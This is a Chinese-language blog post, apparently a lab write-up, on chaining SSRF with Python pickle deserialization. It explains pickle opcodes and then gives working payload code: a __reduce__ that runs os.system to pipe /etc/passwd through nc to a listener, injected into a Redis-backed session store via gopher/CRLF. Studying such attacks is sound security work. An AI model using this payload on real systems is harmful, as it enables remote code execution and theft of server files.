ssrf結合python反序列化

f0r9發表於2024-07-03

儲存session物件時 當然不能直接儲存物件 需要轉換成有規律的字串 這一過程就涉及到了序列化
將物件轉換成字串這一過程稱之為序列化

PYTHON反序列化漏洞

本文中就涉及到了pickle這一序列化模組導致的反序列化漏洞

在反序列化結束時 會觸發__reduce__魔術方法 類似於php中的__wakeup 也就是 將字串還原為物件這一過程會呼叫這一魔術方法

在序列化過程中 要經過PVM 而這個pvm處理邏輯類似於 棧
image
這裡引入一個圖 方便理解
左側為序列化字串
當讀入時

首先讀入 					棧結構
c_builtin__					R
file						/etc/passwd
(s'						(
/etc/passwd					file
R						c_builtin__

最終棧透過opcode得到序列化物件
常用opcode:

指令	描述	具體寫法	棧上的變化
c	獲取一個全域性物件或import一個模組	c[module]\n[instance]\n	獲得的物件入棧
o	尋找棧中的上一個MARK,以之間的第一個資料(必須為函式)為callable,第二個到第n個資料為引數,執行該函式(或例項化一個物件)	o	這個過程中涉及到的資料都出棧,函式的返回值(或生成的物件)入棧
i	相當於c和o的組合,先獲取一個全域性函式,然後尋找棧中的上一個MARK,並組合之間的資料為元組,以該元組為引數執行全域性函式(或例項化一個物件)	i[module]\n[callable]\n	這個過程中涉及到的資料都出棧,函式返回值(或生成的物件)入棧
N	例項化一個None	N	獲得的物件入棧
S	例項化一個字串物件	S'xxx'\n(也可以使用雙引號、\'等python字串形式)	獲得的物件入棧
V	例項化一個UNICODE字串物件	Vxxx\n	獲得的物件入棧
I	例項化一個int物件	Ixxx\n	獲得的物件入棧
F	例項化一個float物件	Fx.x\n	獲得的物件入棧
R	選擇棧上的第一個物件作為函式、第二個物件作為引數(第二個物件必須為元組),然後呼叫該函式	R	函式和引數出棧,函式的返回值入棧
.	程式結束,棧頂的一個元素作為pickle.loads()的返回值	.	無
(	向棧中壓入一個MARK標記	(	MARK標記入棧
t	尋找棧中的上一個MARK,並組合之間的資料為元組	t	MARK標記以及被組合的資料出棧,獲得的物件入棧
)	向棧中直接壓入一個空元組	)	空元組入棧
l	尋找棧中的上一個MARK,並組合之間的資料為列表	l	MARK標記以及被組合的資料出棧,獲得的物件入棧
]	向棧中直接壓入一個空列表	]	空列表入棧
d	尋找棧中的上一個MARK,並組合之間的資料為字典(資料必須有偶數個,即呈key-value對)	d	MARK標記以及被組合的資料出棧,獲得的物件入棧
}	向棧中直接壓入一個空字典	}	空字典入棧
p	將棧頂物件儲存至memo_n	pn\n	無
g	將memo_n的物件壓棧	gn\n	物件被壓棧
0	丟棄棧頂物件	0	棧頂物件被丟棄
b	使用棧中的第一個元素(儲存多個屬性名: 屬性值的字典)對第二個元素(物件例項)進行屬性設定	b	棧上第一個元素出棧
s	將棧的第一個和第二個物件作為key-value對,新增或更新到棧的第三個物件(必須為列表或字典,列表以數字作為key)中	s	第一、二個元素出棧,第三個元素(列表或字典)新增新值或被更新
u	尋找棧中的上一個MARK,組合之間的資料(資料必須有偶數個,即呈key-value對)並全部新增或更新到該MARK之前的一個元素(必須為字典)中	u	MARK標記以及被組合的資料出棧,字典被更新
a	將棧的第一個元素append到第二個元素(列表)中	a	棧頂元素出棧,第二個元素(列表)被更新
e	尋找棧中的上一個MARK,組合之間的資料並extends到該MARK之前的一個元素(必須為列表)中	e	MARK標記以及被組合的資料出棧,列表被更新

我們只要構造惡意的序列化物件 就會導致任意命令執行
接下來我們在環境中做一下嘗試
payload 生成程式碼

class PickleExploit(object):

    def __reduce__(self):
        ip = "127.0.0.1"
        port = "9091"
        cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)
        return (os.system, (cmd,))

def pickle_payload(key):
    res = ""

    payload = pickle.dumps(PickleExploit())
    res += "\r\n"
    res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))

    res = res.replace("\n", "\r\n")

    print(generate_gopher(res).replace("gopher","http"))

很簡單 其實就是給我們的session檔案寫入
注意 新的session檔案要與原來的不同 透過用新的session訪問網頁觸發序列化

cposix
system
p0
(S'cat /etc/passwd | nc 127.0.0.1 9091'
p1
tp2
Rp3

這裡我們稍微修改一下 把執行結果返回給 kali 192.168.80.153
當然 我們不止能檢視檔案 也可以做其他操作
現在我們試一試
kali上監聽 9091
image

ssrf請求發出
image

發現urllib不解析回車符號 crlf失敗了
image
在python2.7.18版本中crlf早就被修復了 crlf漏洞出現在2.0到2.7.16版本之間

如果成功繞過 伺服器會將把passwd中的值返回給攻擊者
image

注意攻擊者需要利用新的session訪問網頁 以觸發序列化
image
注意原session為606c3dd2-3845-4708-a65e-07af1e30af5c

相關文章